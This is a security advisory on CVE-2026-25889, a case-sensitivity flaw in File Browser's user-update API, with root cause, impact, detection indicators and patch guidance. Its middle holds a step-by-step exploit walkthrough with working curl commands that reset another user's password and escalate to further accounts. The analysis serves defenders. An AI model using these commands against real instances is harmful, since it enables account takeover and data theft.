CVE-2026-25889: 
NixOS vulnerability analysis and mitigation

CVE-2026-25889 is an authentication bypass vulnerability in File Browser (filebrowser/filebrowser) that allows any authenticated user to change their own or another user's password without providing the current password. The flaw was discovered on February 4, 2026, and publicly disclosed via GitHub Security Advisory GHSA-hxw8-4h9j-hq2r on February 8, 2026. All versions up to and including 2.57.0 are affected; the issue is fixed in version 2.57.1. The CVSS v3.1 base score is 5.4 (Medium) per the GitHub Advisory Database, though the advisory itself notes a score of 7.5 (High) in its description (GitHub Advisory, Security Advisory).

The root cause is classified as CWE-178 (Improper Handling of Case Sensitivity). The vulnerability exists in http/users.go within the userPutHandler function (lines 181–200), where a sensibleFields map uses lowercase keys (e.g., "password") to gate current-password verification. The map lookup is case-sensitive, so when an attacker submits "Password" (Title Case) in the which field of a PUT /api/users/{id} API request, the lookup fails to match and the current_password check is skipped entirely. Crucially, later in the same code path (line 229), field names are converted to Title Case for processing, meaning "Password" is a fully valid and accepted field name — the bypass is therefore trivially reliable. The fix, committed as ff2f004, normalizes field names to lowercase via strings.ToLower() before the map lookup (Security Advisory, Fix Commit).

A successful exploit allows an attacker with a valid JWT token to change any user's password — including administrator accounts — without knowing the current password, resulting in complete account takeover and locking out the legitimate user. Confidentiality is impacted because the attacker gains full access to the victim's files and data managed by File Browser; integrity is impacted because the attacker can modify, upload, or delete files; and availability is impacted because the legitimate user is locked out of their account. For administrator accounts, the bypass also enables modification of other sensitive fields, potentially compromising all user accounts on the instance (Security Advisory).

A proof-of-concept exploit (including an automated bash script) is publicly available in the GitHub Security Advisory, demonstrating the bypass with a single crafted curl command (Security Advisory). There is no current evidence of in-the-wild exploitation, and no threat actor attribution has been reported. The EPSS score is approximately 0.027% (0.000270), placing it in the 4th percentile for exploitation likelihood within 30 days (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a valid JWT token, which can be obtained via XSS, session hijacking, log leakage, or a shared/compromised session.

1. Obtain a valid JWT token: Acquire a JWT for any user account on the target File Browser instance — this can be done by logging in directly if credentials are known, or through XSS, session hijacking, or server log leakage.

TOKEN=$(curl -s -X POST "http://target:8080/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"victim","password":"victim_password"}')

2. Identify the target user ID: Decode the JWT payload (base64) to extract the user ID, or enumerate via the API if admin privileges are held.
3. Send the bypass request: Issue a PUT /api/users/{id} request using "Password" (Title Case) in the which array and the desired new password in data.password, omitting current_password entirely.

curl -s -X PUT "http://target:8080/api/users/1" \
  -H "X-Auth: $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "what": "user",
    "which": ["Password"],
    "data": {"id": 1, "password": "HackedPassword123"}
  }'
# Expected response: 200 OK

4. Verify account takeover: Confirm the original password no longer works and authenticate with the new password to obtain a fresh JWT token, completing the account takeover.
5. Escalate (if admin): If the compromised token belongs to an admin, repeat the process for other user IDs to compromise additional accounts (Security Advisory).

• Network: Unexpected PUT requests to /api/users/{id} from IP addresses not associated with the account owner; requests containing "which": ["Password"] (Title Case) in the JSON body without a current_password field.
• Logs: File Browser access logs showing PUT /api/users/* returning HTTP 200 from unusual source IPs or at unusual times; subsequent failed login attempts by the legitimate user (HTTP 403) followed by successful logins from a different IP.
• Application Behavior: Users reporting inability to log in with their known-good passwords; unexpected password change events in application audit logs if enabled.
• Authentication Events: Multiple JWT tokens issued for the same user account in a short time window, indicating a session takeover after a password change (Security Advisory).

Upgrade File Browser to version 2.57.1 or later, which normalizes field names to lowercase before the sensibleFields map lookup, eliminating the bypass (Release v2.57.1, Fix Commit). If immediate patching is not possible, restrict network access to the File Browser API (e.g., via firewall rules or reverse proxy authentication) and monitor for suspicious PUT /api/users/* requests. Additionally, review and rotate all active JWT tokens and user passwords, particularly for administrator accounts, to mitigate any potential prior exploitation.